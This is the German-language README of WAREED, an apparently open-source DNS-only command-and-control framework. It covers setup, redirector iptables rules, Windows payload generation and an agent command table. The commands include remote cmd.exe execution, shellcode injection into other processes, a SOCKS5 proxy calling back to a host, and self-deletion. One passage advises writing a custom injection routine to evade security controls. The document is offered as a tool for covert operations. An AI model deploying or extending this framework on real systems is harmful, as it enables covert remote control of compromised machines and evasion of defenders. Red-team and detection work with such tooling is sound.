
DNS-only Command-and-Control-Framework mit Windows-Agent, Payload-Generierung, Remote-Shell-Ausführung, Shellcode-Injektion und SOCKS5-Proxy-Unterstützung für verdeckte Operationen.

WAREED ist ein Command-and-Control-System (C2), das das DNS-Protokoll für sichere Kommunikation zwischen Server und Ziel nutzt. Es ist darauf ausgelegt, die Kommunikation zu minimieren und den Datenaustausch zu begrenzen. Es soll als First-Stage-C2 auf Maschinen persistieren, die keinen Internetzugang über HTTP/HTTPS haben, auf denen DNS jedoch erlaubt ist.
entwickelt von : @Fsalabduljabbar

Während viele Command-and-Control-Frameworks (C2) DNS als Transportprotokoll unterstützen, sind sie überwiegend für HTTP/HTTPS ausgelegt. Die Umstellung dieser Frameworks auf DNS führt oft zu langsameren und weniger stabilen Abläufen. Da ich zahlreiche Herausforderungen mit der Instabilität dieser Frameworks für DNS-Transaktionen erlebt habe, sah ich mich gezwungen, eine Lösung zu entwickeln, die speziell auf DNS zugeschnitten ist. Das Ergebnis ist Wareed – ein reines DNS-C2-Framework. Diese spezielle Ausrichtung führt zu einem stabileren und effizienteren Betrieb und macht Wareed schneller und zuverlässiger als herkömmliche C2-Frameworks, die nicht in erster Linie für DNS konzipiert sind. Damit ist Wareed eine ideale Wahl für Umgebungen, in denen DNS-Verkehr erlaubt ist, HTTP/HTTPS jedoch eingeschränkt ist.
Es wurde unter Verwendung von drei Programmiersprachen entwickelt:
Erklärung der Namen:
Hams (همس) bedeutet „Flüstern“ auf Arabisch
Wareed (وريد) bedeutet „Vene“ auf Arabisch
Ather (أثر) bedeutet „Spur“ auf Arabisch
Schritt 1: Klonen Sie das Wareed-Repository:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
Schritt 2: Führen Sie das Setup-Skript aus:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
Wenn der Kompilierungsprozess erfolgreich abgeschlossen wird, werden in demselben Verzeichnis zwei ausführbare Dateien erzeugt:
Außerdem wird der Kompilierungsstatus des Agents überprüft. Bei Erfolg wird bestätigt, dass der Agent für die Bereitstellung und den Betrieb bereit ist, was für die Funktionalität des Wareed-C2 entscheidend ist.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: Die Länge muss 3 betragen.
DNS-Einrichtung: Für den Betrieb von Wareed ist ein gültiger Domainname unerlässlich. Nach dem Erwerb einer Domain müssen zwei DNS-Einträge konfiguriert werden, die auf den Redirector zeigen:

Redirector-Einrichtung:
Der Redirector verarbeitet eingehenden DNS-Verkehr auf Port 53 und leitet ihn an den Teamserver weiter. Um dies zu erreichen, führen Sie die folgenden iptables-Befehle auf der Redirector-Maschine (R1) aus:
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
Dieser Befehl konfiguriert die Firewall so, dass eingehende UDP-Pakete auf Port 53 akzeptiert werden, dem Standardport für DNS-Anfragen.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
Ersetzen Sie [TeamServer IP] durch die tatsächliche IP-Adresse Ihres Teamservers und [teamserver listener port] durch die Portnummer, auf der Ihr Teamserver lauscht. Dieser Befehl leitet den gesamten auf Port 53 eingehenden Verkehr an die angegebene IP-Adresse und den Port des Teamservers weiter.

Um den Wareed-Teamserver zum ersten Mal zu starten, müssen Sie die Konfigurationsdatei sowie das Client-Passwort und den Port angeben, auf dem der Client lauschen wird. Verwenden Sie den folgenden Befehl, um den Wareed-Teamserver auszuführen:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Um den Ather-GUI-Client zu starten, führen Sie einfach
./Ather
Nach Ausführung des Befehls erscheint ein neues Fenster mit einer Anmeldeseite.

Anmeldedaten: Auf der angezeigten Anmeldeseite:
Hauptfenster von Wareed:

Um mit dem Ather-GUI-Client ein neues Payload zu erzeugen, gehen Sie wie folgt vor:
Zur Payload-Erzeugung navigieren:
Payload > Generate > Windows. Durch Auswahl dieser Option öffnet sich ein neues Fenster, das speziell für die Payload-Erzeugung ausgelegt ist.
Nach der Erzeugung eines neuen Payloads wird automatisch eine neue Gast-Sitzung beim Teamserver registriert. Dieser Registrierungsprozess stellt sicher, dass nur diese bestimmte Sitzung eine Verbindung zum Teamserver herstellen kann. Zur Authentifizierung und Autorisierung der Sitzung werden eine eindeutige Kennung und ein „magic value“ verwendet. Dieser Mechanismus gewährleistet eine sichere und kontrollierte Kommunikation zwischen dem neu erzeugten Payload und dem Teamserver.

Nach der Ausführung des Payloads auf einem Windows-Rechner beginnt dieser, DNS-Abfragen zu erzeugen, um sich beim Teamserver zu registrieren. Dieser Registrierungsprozess erfolgt innerhalb von Sekunden und umfasst in der Regel die Erzeugung von 3 bis 5 DNS-Abfragen.

Um mit einer Sitzung zu interagieren, klicken Sie einfach mit der rechten Maustaste auf die gewünschte Sitzung und wählen Sie „Interact“ aus dem Kontextmenü. Dadurch wird ein neuer Tab mit einer Terminal-Oberfläche geöffnet. In diesem Terminal können Sie Befehle ausführen.

Hinweis: Der Befehl
injectist unkompliziert, wird jedoch häufig von Sicherheitskontrollen erkannt. Um die Tarnung zu verbessern, sollten Sie Ihre eigene Injection-Technik implementieren. Ändern Sie den Injection-Code inAgent/Source/Core/Tasks/Modules/Injection.c. Hier ist eine grundlegende Vorlage zum Anpassen der Injection-Funktion:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
Um die Datenbank zu bereinigen, führen Sie einfach den folgenden Befehl in Ihrem Terminal aus:
./Run clean
Auch wenn ich derzeit keine unmittelbaren Pläne habe, weiter Zeit in das Wareed-Projekt zu investieren, war es eine unglaubliche Lernreise, und ich habe es sehr genossen. Ich freue mich, ankündigen zu können, dass ich ein neues großes Projekt, THAWD BAS, starten möchte. Weitere Informationen finden Sie unter Thawd.io.
Wenn Sie über Entwicklerkenntnisse verfügen und daran interessiert sind, zu Wareed beizutragen, finden Sie hier einige Möglichkeiten:
Diese Arbeit wäre ohne die Beiträge mehrerer herausragender Open-Source-Projekte nicht möglich gewesen:
DNSStager von - @mohammadaskar2
Boomerang von - @NinjaParanoid
delete-self-poc von - @LloydLabs
| Command | Beschreibung | Usage | Example |
|---|
| help | Zeigt die Hilfemeldung des angegebenen Befehls an | [command] | help shell |
| sleep | Legt die Verzögerung mit Jitter fest | [delay] [jitter] | sleep 10 50 |
| shell | führt cmd.exe-Befehle aus und liefert die Ausgabe | [commands] | shell dir c:\windows\system32 (bitte nicht ausführen) |
| inject | injiziert Shellcode in einen entfernten Prozess | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | startet einen SOCKS5-Proxy | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | stoppt einen SOCKS5-Proxy | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | fügt eine neue Callback-Domain hinzu | [domain_name] | adddomain example.com |
| deldomain | löscht eine Callback-Domain | [domain_name] | deldomain example.com |
| listdomain | listet alle aktiven Callback-Domains auf | listdomain | |
| kill | Beendet den aktuellen Prozess. | [yes] | kill yes |
| wipe | Beendet und löscht den aktuellen Prozess. | [yes] | wipe yes |
| selfdel | Löscht den aktuellen Prozess von der Festplatte. | [yes] | selfdel yes |
| tasklist | Listet alle in der Warteschlange befindlichen Aufgaben auf | tasklist | |
| taskdel | Löscht eine bestimmte Aufgabe anhand der ID | [task id] | taskdel 123 |
| tasksclean | Löscht alle Aufgaben in der Warteschlange | [yes] | tasksclean yes |
| clear | leert den Terminalbildschirm | clear |